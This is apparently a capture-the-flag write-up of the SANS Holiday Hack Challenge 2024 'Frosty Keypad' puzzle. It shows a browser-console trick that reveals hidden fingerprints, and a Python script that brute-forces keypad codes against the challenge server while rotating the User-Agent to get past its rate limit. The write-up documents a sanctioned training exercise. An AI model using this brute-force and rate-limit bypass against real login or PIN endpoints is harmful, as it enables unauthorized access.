SANS Holiday Hack Challenge 2024 - Act 1

Frosty Keypad

Difficulty: ❄ ❄ ❄ ❄ ❄
In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa’s lost secrets?

Hints

Who Are You Calling a Dorf?

From: Morcel Nougat
Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a National Treasure!

Just Some Light Reading

From: Morcel Nougat
See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by…

Shine Some Light on It

From: Morcel Nougat
Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch…but…what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used…

Gold & Silver trophy

Before finding the UV light on the ground I noticed it was being checked in the JS and I was able to use it executing the function uvLight.setVisible(true) from the console, thus revealing fingerprints on the keys:

I know and noticed that the challenge was about cryptography, suggesting that the note would lead to a combination through the book…that said I’m lazy and the keypad allowed up to 5 numbers, so I bruteforced it :)

I wrote a quick python script and slightly adjusted it after noticing I was getting rate limited with the errore {"error":"Too many requests from this User-Agent. Limited to 1 requests per 1 seconds."}:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import itertools
import requests

url = 'https://hhc24-frostykeypad.holidayhackchallenge.com/submit'

digits = ['2', '6', '7', '8']
combinations = itertools.product(digits, repeat=5)
for combination in combinations:
  combination = ''.join(combination)
  json = { "answer" : combination }
  headers = { 'User-Agent': combination }
  r = requests.post(url, headers = headers, json = json)
  if (not "error" in r.text):
    print ("{} --> {}".format(combination, r.text.rstrip()))

Running it I received two answers:

1
2
3
(env) thedead@maccos act1-frosty-keypad % python3 solveKeypad.py
22786 --> {"output":"success"}
72682 --> {"output":"success"}

With 22786 leading to the Gold trophy and 72682 leading to the Silver one.

One Thousand Little Teeny Tiny Shredded Pieces of Paper

Speaking with Morcel after passing the challenge, he will hand out “One Thousand Little Teeny Tiny Shredded Pieces of Paper”:
A mountain of one thousand little tiny shredded pieces of paper-each scrap whispering a secret, waiting for the right hardware hacker to piece the puzzle back together!

These will be discussed in the “Hardware Hacking 101 Part 1” solution, but I’ll leave here the image: